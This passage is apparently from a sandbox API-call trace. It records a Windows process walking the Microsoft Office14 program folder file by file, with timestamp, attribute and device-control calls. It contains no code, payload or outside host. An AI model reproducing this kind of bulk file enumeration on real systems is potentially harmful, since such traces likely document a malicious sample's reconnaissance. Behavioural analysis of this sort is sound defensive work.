ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32ad2d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xd1160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSQRY32.EXE", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e550, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSRTEDIT.DLL", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf055920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xff368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORDB.EXE", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7931a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x59460250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7931a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x20158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE.EXE", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a28c350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x89b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORES.DLL", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7466000, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x6a2fe770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7466000, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0xdc158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWORD.OLB", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633f6700, ftCreationTime.dwHighDateTime=0x1c9ce43, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633f6700, ftLastWriteTime.dwHighDateTime=0x1c9ce43, nFileSizeHigh=0x0, nFileSizeLow=0x46530, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSYUBIN7.DLL", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e32200, ftCreationTime.dwHighDateTime=0x1c62ad6, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e32200, ftLastWriteTime.dwHighDateTime=0x1c62ad6, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="MYSL.ICO", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636bfc00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xd79ccfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x636bfc00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0x1b968, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAME.DLL", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a7a600, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19a7a600, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLPROXY.DLL", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a7a600, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19a7a600, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x1ab80, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLSERVER.EXE", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948ed600, ftCreationTime.dwHighDateTime=0x1ca913a, ftLastAccessTime.dwLowDateTime=0xbdf30d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948ed600, ftLastWriteTime.dwHighDateTime=0x1ca913a, nFileSizeHigh=0x0, nFileSizeLow=0x26180, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMEEXT.DLL", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x6a4c77f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x77cdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Data0011.DLL", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x258bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Lexicons0011.DLL", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17736b00, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa225ad60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x17736b00, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x589bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS0009.dll", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a36d00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa7323800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56a36d00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x5ef3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS000A.dll", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1cc400, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa4b90a40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3c1cc400, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x5697b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS000C.dll", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x652bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Models0011.DLL", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d95200, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42d95200, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPAUTHZ.DLL", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bc1b000, ftCreationTime.dwHighDateTime=0x1cbe56f, ftLastAccessTime.dwLowDateTime=0xe07baf60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bc1b000, ftLastWriteTime.dwHighDateTime=0x1cbe56f, nFileSizeHigh=0x0, nFileSizeLow=0x1ceb168, dwReserved0=0x0, dwReserved1=0x0, cFileName="OART.DLL", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b7fea00, ftCreationTime.dwHighDateTime=0x1cac1ed, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fea00, ftLastWriteTime.dwHighDateTime=0x1cac1ed, nFileSizeHigh=0x0, nFileSizeLow=0x124e978, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARTCONV.DLL", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6b251510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xd00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCRHC.DAT", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xa00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCRVC.DAT", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0x1c99, dwReserved0=0x0, dwReserved1=0x0, cFileName="OEMPRINT.CAT", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e266b00, ftCreationTime.dwHighDateTime=0x1cbd863, ftLastAccessTime.dwLowDateTime=0xdb444c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e266b00, ftLastWriteTime.dwHighDateTime=0x1cbd863, nFileSizeHigh=0x0, nFileSizeLow=0x961380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFOWC.DLL", cAlternateFileName="")) returned 1 [0075.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39d43b00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x59759dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39d43b00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x123e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFRHD.DLL", cAlternateFileName="")) returned 1 [0075.054] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54f27b00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x5977ff30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54f27b00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x7d778, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFXML.DLL", cAlternateFileName="")) returned 1 [0075.054] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32a39900, ftCreationTime.dwHighDateTime=0x1c6f3cf, ftLastAccessTime.dwLowDateTime=0x5977ff30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32a39900, ftLastWriteTime.dwHighDateTime=0x1c6f3cf, nFileSizeHigh=0x0, nFileSizeLow=0x9bb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="ogalegit.dll", cAlternateFileName="")) returned 1 [0075.054] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfc62000, ftCreationTime.dwHighDateTime=0x1cb6ffe, ftLastAccessTime.dwLowDateTime=0xdd1216c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbfc62000, ftLastWriteTime.dwHighDateTime=0x1cb6ffe, nFileSizeHigh=0x0, nFileSizeLow=0x4bc778, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIMG.DLL", cAlternateFileName="")) returned 1 [0075.054] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd79f3100, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x49168, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS.EXE", cAlternateFileName="")) returned 1 [0075.054] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd7afdaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x175970, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISAPP.DLL", cAlternateFileName="")) returned 1 [0075.054] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc74da00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x6bd53ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc74da00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x6988, dwReserved0=0x0, dwReserved1=0x0, cFileName="oisctrl.dll", cAlternateFileName="")) returned 1 [0075.054] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd7b23c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x59f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISGRAPH.DLL", cAlternateFileName="")) returned 1 [0075.054] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x3f580, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKFSTUB.DLL", cAlternateFileName="")) returned 1 [0075.055] GetLastError () returned 0x12 [0075.055] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0075.055] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0075.055] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x18000)) returned 1 [0075.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0075.056] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0075.056] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa94c50, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa94c50, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0075.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94c50) returned 1 [0075.056] NtClose (Handle=0x168) returned 0x0 [0075.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa91b0 [0075.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9238 [0075.056] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0075.105] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.199] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x14e98550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x53b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSUI.DLL", cAlternateFileName="")) returned 1 [0075.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.200] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d407000, ftCreationTime.dwHighDateTime=0x1ca8d26, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9d407000, ftLastWriteTime.dwHighDateTime=0x1ca8d26, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCESS12.ACC", cAlternateFileName="")) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2068 [0075.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9348 [0075.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.200] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLKI.DLL", cAlternateFileName="")) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.201] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6146600, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6146600, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x26b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCVDTUI.DLL", cAlternateFileName="")) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 